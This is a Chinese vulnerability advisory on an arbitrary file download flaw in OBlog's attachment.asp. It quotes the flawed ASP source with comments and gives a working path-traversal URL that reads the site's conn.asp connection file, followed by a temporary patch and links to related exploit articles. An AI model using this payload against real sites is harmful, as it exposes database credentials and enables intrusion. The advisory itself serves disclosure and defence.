OBlog任意文件下载漏洞

所属分类: 实用技巧 / 漏洞研究 阅读数: 1671
收藏 0 赞 0 分享

Path = Trim(Request("path")) '获取用户提交的路径 
FileID = Trim(Request("FileID")) 
If FileID ="" And Path = "" Then 
Response.Write "参数不足" 
Response.End 
End If 
... 
If CheckDownLoad Or 1= 1Then 
If Path = "" Then 
set rs = Server.CreateObject("ADODB.RecordSet") 
link_database 
SQL = ("select file_path,userid,file_ext,ViewNum FROM oblog_upfile WHERE FileID = "&CLng(FileID)) 
rs.open sql,conn,1,3 
If Not rs.Eof Then 
uid = rs(1) 
file_ext = rs(2) 
rs("ViewNum") = rs("ViewNum") + 1 
rs.Update 
downloadFile Server.MapPath(rs(0)),0 
Else 
Response.Status=404 
Response.Write "该附件不存在!" 
End If 
rs.Close 
Set rs = Nothing 
Else 
If InStr(path,Oblog.CacheConfig(56)) > 0 Then 'Tr4c3 标注:注意这里,仅仅判断用户提交的路径是否包含UploadFiles,为真则调用downloadfile函数下载文件 
downloadFile Server.MapPath(Path),1 
End if 
End If 
Else 
'如果附件为图片的话,当权限检验无法通过则调用一默认图片,防止<img>标记无法调用,影响显示效果 
If Path = "" Then 
Response.Status=403 
Response.Write ShowDownErr 
Response.End 
Else 
downloadFile Server.MapPath(blogdir&"images/oblog_powered.gif"),1 
End if 
End if 

Set oblog = Nothing 

Sub downloadFile(strFile,stype) 
On Error Resume Next 
Server.ScriptTimeOut=9999999 
Dim S,fso,f,intFilelength,strFilename 
strFilename = strFile 
Response.Clear 
Set s = Server.CreateObject(oblog.CacheCompont(2)) 
s.Open 
s.Type = 1 
Set fso = Server.CreateObject(oblog.CacheCompont(1)) 
If Not fso.FileExists(strFilename) Then 
If stype = 0 Then 
Response.Status=404 
Response.Write "该附件已经被删除!" 
Exit Sub 
Else 
strFilename = Server.MapPath(blogdir&"images/nopic.gif") 
End if 
End If 
Set f = fso.GetFile(strFilename) 
intFilelength = f.size 
s.LoadFromFile(strFilename) 
If Err Then 
Response.Write("<h1>错误: </h1>" & Err.Description & "<p>") 
Response.End 
End If 
Set fso=Nothing 
Dim Data 
Data=s.Read 
s.Close 
Set s=Nothing 
Dim ContentType 
select Case LCase(Right(strFile, 4)) 
Case ".asp",".mdb",".config",".js" 'Tr4c3 标注:再看这里,想起来什么来了?对了,前几天我发的沸腾展望新闻系统的任意下载漏洞跟这个检查的方法差不多[http://www.tr4c3.com /post/306.html],利用方法也相似,神奇的"."又派上用场了。 
Exit Sub 
Case ".asf" 
ContentType = "video/x-ms-asf" 
Case ".avi" 
ContentType = "video/avi" 
Case ".doc" 
ContentType = "application/msword" 
Case ".zip" 
ContentType = "application/zip" 
Case ".xls" 
ContentType = "application/vnd.ms-excel" 
Case ".gif" 
ContentType = "image/gif" 
Case ".jpg", "jpeg" 
ContentType = "image/jpeg" 
Case ".wav" 
ContentType = "audio/wav" 
Case ".mp3" 
ContentType = "audio/mpeg3" 
Case ".mpg", "mpeg" 
ContentType = "video/mpeg" 
Case ".rtf" 
ContentType = "application/rtf" 
Case ".htm", "html" 
ContentType = "text/html" 
Case ".txt" 
ContentType = "text/plain" 
Case Else 
ContentType = "application/octet-stream" 
End select 
If Response.IsClientConnected Then 
If Not (InStr(LCase(f.name),".gif")>0 Or InStr(LCase(f.name),".jpg")>0 Or InStr(LCase(f.name),".jpeg")>0 Or InStr(LCase(f.name),".bmp")>0 Or InStr(LCase(f.name),".png")>0 )Then 
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name 
End If 
Response.AddHeader "Content-Length", intFilelength 
Response.CharSet = "UTF-8" 
Response.ContentType = ContentType 
Response.BinaryWrite Data 
Response.Flush 
Response.Clear() 
End If 
End Sub

<* 参考:
Tr4c3[at]126[dot]com 
*> 
测试方法:

[警 告]

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!

########################################################################
利用方法:
http://www.target.com/attachment.asp?path=UploadFiles/../conn.asp.
########################################################################  
建议:
修补建议:
等待官方发布新的补丁程序。
########################################################################
临时解决办法:
将attachment.asp第5行 Path = Trim(Request(”path”)) 改成 Path = Replace(Trim(Request(”path”)),”..”,”")
######################################################################## 
更多精彩内容其他人还在看

MySQL Proxy(解决注入的另一思路)

MySQL Proxy的主要作用是用来做负载均衡,数据库读写分离的。但是需要注意的是,MySQL Proxy还有个强大的扩展功能就是支持Lua语言——魔兽也是使用了Lua来开发游戏,据我所知网易也是——可以参见云风的博客。
收藏 0 赞 0 分享

phpwind管理权限泄露漏洞利用程序发布

phpwind是国内使用非常广泛的一款程序,由于在程序设计上存在错误,导致任何人可以取得前台管理员及斑主权限,做删除帖子等任意操作
收藏 0 赞 0 分享

分析NtGodMode.exe干了什么

NtGodMode.exe是通过打开LSASS.EXE进程msv1_0.dll模块空间里,然后搜索特征值8B 4D 0C 49之后第1个32 C0 这个32C0汇编码xor al,al,修改为B001对应汇编码mov al,1 为什么mov al,1,以后就不用密码了?
收藏 0 赞 0 分享

伯乐asp收信程序漏洞及利用程序利用代码

信息来源:邪恶八进制信息安全团队(www.eviloctal.com) 文章作者:fhod 发这个也是因为看了asm所写的新概念收信程序 箱子永远不会被黑
收藏 0 赞 0 分享

字符集导致的浏览器跨站脚本攻击分析

前言:这种利用类型的攻击早在06年就被安全研究人员指出,不过一直没有在国内重视。而由于我们国内大部分站点正是这种有漏洞的字符集,所以影响还是比较大,希望各大站快速修复。可以看看http://applesoup.googlepages.com/。
收藏 0 赞 0 分享

Search Engine XSS Worm

作者:余弦 来源:0x37 Security 有挑战才有意思,为了诞生个Search Engine XSS Worm,这里拿yeeyan做实验了。
收藏 0 赞 0 分享

CPU也有远程攻击漏洞 英特尔匆匆修补

BEAREYES.COM 北京 [ 翻译 ] 作者:1000years 日期:2008年08月12日
收藏 0 赞 0 分享

暂时屏蔽 IE 最新 0day的4 种方法

IE 最新 0day 波及了微软全线系统居然在2008年12月14日8:00:15还没有出补丁!我查看微软站点,好像有几个手动操作的办法暂时屏蔽。
收藏 0 赞 0 分享

Sql Server 应用程序的高级Sql注入第1/2页

这篇文章讨论常用的"sql注入"技术的细节,应用于流行的Ms IIS/ASP/SQL-Server平台。这里探讨有关这种攻击各种可以注入程序访问数据和数据库防范的方法。
收藏 0 赞 0 分享

ASP木马后门新思路

ASP木马后门新思路
收藏 0 赞 0 分享
查看更多